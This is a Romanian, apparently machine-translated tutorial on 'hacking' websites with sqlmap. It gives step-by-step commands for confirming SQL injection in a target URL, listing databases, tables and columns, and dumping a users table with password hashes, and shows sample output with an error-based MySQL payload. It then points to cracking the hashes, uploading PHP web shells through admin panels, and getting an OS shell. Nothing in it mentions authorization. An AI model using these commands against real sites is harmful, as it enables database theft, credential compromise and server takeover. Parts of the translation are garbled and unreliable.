tutorial sqlmap pentru incepatori – hacking cu Sql injection

Sqlmap

sqlmap este una dintre cele mai populare și puternic instrument de automatizare sql injecție acolo. Având în vedere o adresă URL de solicitare HTTP vulnerabilă, sqlmap poate exploata baza de date la distanță și poate face o mulțime de hacking, cum ar fi extragerea numelor de baze de date, tabele, coloane, toate datele din tabele etc.

poate chiar să citească și să scrie fișiere pe sistemul de fișiere la distanță în anumite condiții. Scris în python este una dintre cele mai puternice instrumente de hacking acolo. Sqlmap este metasploit de injecții sql.

Sqlmap este inclus în stilou de testare distribuții linux, cum ar fi Kali linux, backtrack, backbox etc. Pe alte distribuții poate fi descărcat pur și simplu de la următoarea adresă url

http://sqlmap.org/.

deoarece este scris în python, mai întâi trebuie să instalați python pe sistemul dvs. Pe ubuntu instalați python de la synaptic. Pe windows instalați ActiveState python. Consultați această postare pentru detalii despre cum să instalați și să rulați sqlmap pe windows.

pentru lista de opțiuni și parametri care pot fi utilizați cu comanda sqlmap, verificați documentația sqlmap la
https://github.com/sqlmapproject/sqlmap/wiki/Usage

În acest tutorial vom învăța cum să folosim sqlmap pentru a exploata o aplicație web vulnerabilă și să vedem ce se poate face cu un astfel de instrument.

pentru a înțelege acest tutorial, ar trebui să aveți cunoștințe aprofundate despre modul în care funcționează aplicațiile web bazate pe baze de date. De exemplu, cele realizate cu php+mysql.

URL-uri vulnerabile

să spunem că există o aplicație web sau un site web care are o adresă url în ea ca aceasta

http://www.site.com/section.php?id=51

și este predispus la injecție sql, deoarece dezvoltatorul acelui site nu a scăpat corect de ID-ul parametrului. Acest lucru poate fi pur și simplu testat prin încercarea de a deschide url-ul

http://www.site.com/section.php?id=51'

tocmai am adăugat un singur citat în parametrul. Dacă această adresă url aruncă o eroare sau reacționează într-un mod neașteptat, atunci este clar că baza de date a primit oferta unică neașteptată pe care aplicația nu a scăpat în mod corespunzător. Deci, în acest caz, acest parametru de intrare „id” este vulnerabil la injecția sql.

Hacking cu sqlmap

acum este timpul să treceți la sqlmap pentru a hack astfel de adrese URL. Comanda sqlmap este rulată de la terminal cu interpretul python.

1. Scanarea sistemului de la distanță

prima comandă este scanează sistemul de la distanță pentru a vedea dacă este vulnerabil la sql injection și apoi colectează informații despre el.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51"

cele de mai sus este prima și cea mai simplă comandă pentru a rula cu instrumentul sqlmap. Verifică parametrii de intrare pentru a afla dacă sunt vulnerabili la injecția sql sau nu. Pentru acest sqlmap trimite diferite tipuri de sarcini utile de injecție sql la parametrul de intrare și verifică ieșirea.

în procesul de sqlmap este, de asemenea, posibilitatea de a identifica sistemul de operare de la distanță, numele bazei de date și versiunea. Iată cum ar putea arăta ieșirea

 starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5

deci instrumentul sqlmap a descoperit sistemul de operare, serverul web și baza de date împreună cu informațiile despre versiune. Chiar și acest lucru este destul de impresionant. Dar este timpul să mergem mai departe și să vedem ce mai este capabil de acest instrument.

2. Descoperiți bazele de date

odată ce sqlmap confirmă faptul că o adresă URL la distanță este vulnerabilă la sql injection și este exploatabilă, următorul pas este să aflați numele bazelor de date care există pe sistemul la distanță. Opțiunea „– dbs ” este utilizată pentru a obține lista bazei de date.

$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs

ieșirea ar putea fi ceva de genul

 starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics

ieșirea arată bazele de date existente pe sistemul de la distanță.

3. Găsiți tabele într-o anumită bază de date

acum este timpul să aflați ce tabele există într-o anumită bază de date. Să spunem baza de date de interes aici este „safecosmetics’

comanda

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics

și de ieșire poate fi ceva similar cu acest

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables

nu este acest uimitor ? dacă desigur. Vă permite să obțineți coloanele unui anumit tabel acum.

4. Obțineți coloane dintr-un tabel

acum că avem Lista tabelelor la noi, ar fi o idee bună să obținem coloanele unui tabel important. Să presupunem că tabelul este ‘Utilizatori’ și conține numele de utilizator și parola.

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users

ieșirea poate fi ceva de genul acesta

 the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+

deci acum coloanele sunt clar vizibile. Bună treabă!

5. Obțineți date dintr-un tabel

acum vine partea cea mai interesantă, de extragere a datelor din tabel. Comanda ar fi

$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users

comanda de mai sus va arunca pur și simplu datele din tabelul special, foarte mult ca comanda mysqldump.
ieșirea ar putea arăta similar cu acest

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+

coloana hash pare să aibă hash parola. Încercați să spargeți hash-ul și apoi veți obține detaliile de conectare imediat. sqlmap va crea un fișier csv care conține datele dump pentru o analiză ușoară.

până acum am reușit să colectăm o mulțime de informații din Baza de date la distanță folosind sqlmap. Este aproape ca și cum ai avea acces direct la baza de date la distanță printr-un client precum phpmyadmin. În scenarii reale, hackerii ar încerca să obțină un nivel mai ridicat de acces la sistem. Pentru aceasta, ar încerca să spargă hash-urile parolei și să încerce să se conecteze prin panoul de administrare. Sau ar încerca să obțină un shell os folosind sqlmap.

am scris o altă postare despre utilizarea sqlmap pentru a obține mai multe detalii despre bazele de date la distanță. Aceasta explică alte opțiuni de sqlmap care sunt utile pentru a afla utilizatorii bazei de date, privilegiile lor și hashes parola lor.

ce urmează ?

odată ce sunt în măsură să scaneze și să adune date de la un sistem vulnerabil, timp pentru a exploata și a vedea dacă este posibil pentru a obține acces la sistem. Sqlmap poate face destul de multe lucruri cum ar fi executarea interogărilor sql pe sistemul de la distanță, pornirea unui shell la distanță pe sistem etc.

1. Executați interogări sql arbitrare

acesta este probabil cel mai ușor lucru de făcut pe un server care este vulnerabil la injecția sql. Parametrul — sql-query poate fi utilizat pentru a specifica o interogare sql de executat. Lucrurile de interes ar fi crearea unui utilizator în tabelul utilizatorilor sau ceva similar. Sau poate fi modificarea / modificarea conținutului paginilor cms etc.

Un alt paramter-sql-shell ar da un shell sql ca interfață pentru a rula interogări interactiv.

2. Intrați în panoul de administrare și jucați

dacă site-ul web rulează un fel de CMS personalizat sau ceva similar care are un panou de administrare, atunci ar putea fi posibil să intrați în interior, cu condiția să puteți sparge parola recuperată în dump-ul bazei de date. Parolele simple și scurte pot fi rupte pur și simplu prin forțarea brută sau google.com.

verificați dacă panoul de administrare permite încărcarea unor fișiere. Dacă un fișier php arbitrar poate fi încărcat, atunci va fi mult mai distractiv. Fișierul php poate conține apeluri de funcții shell_exec, system ,exec sau passthru și care vor permite executarea comenzilor de sistem arbitrare. Scripturile PHP Web shell pot fi încărcate pentru a face același lucru.

3. Shell pe sistemul de operare la distanță

acesta este lucrul de făcut pentru a prelua complet serverul. Cu toate acestea, rețineți că nu este la fel de ușor și banal ca trucurile prezentate mai sus. sqlmap vine cu un parametru call –os-shell care poate fi folosit pentru a încerca să obțineți un shell pe sistemul de la distanță, dar are multe limitări proprii.

conform manualului sqlmap

It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

cel mai important privilegiu necesar utilizatorului curent al bazei de date este de a scrie fișiere prin funcțiile bazei de date. Acest lucru este absent în majoritatea cazurilor. Prin urmare, această tehnică nu va funcționa în majoritatea cazurilor.

notă

1. Uneori, sqlmap nu se poate conecta deloc la adresa url. Acest lucru este vizibil atunci când se blochează la prima sarcină de „testare a conexiunii la adresa url țintă”. În astfel de cazuri, este util să folosiți opțiunea „–random-agent”. Acest lucru face ca sqlmap să utilizeze o semnătură validă de agent utilizator precum cele trimise de un browser precum chrome sau firefox.

2. Pentru URL-uri care nu sunt în formă de param=valoare sqlmap nu poate ști în mod automat în cazul în care pentru a injecta. De exemplu, URL-uri mvc, cum ar fi http://www.site.com/class_name/method/43/80.

în astfel de cazuri, sqlmap trebuie informat despre punctul de injectare marcat cu a *

http://www.site.com/class_name/method/43*/80

cele de mai sus vor spune sqlmap să injecteze în punctul marcat cu *

3. Atunci când se utilizează formulare care prezintă date prin metoda post, atunci sqlmap trebuie să fie furnizate datele post în opțiunile „– data”. Pentru mai multe informații, consultați acest tutorial despre utilizarea sqlmap cu formulare.

Lasă un răspuns

Adresa ta de email nu va fi publicată.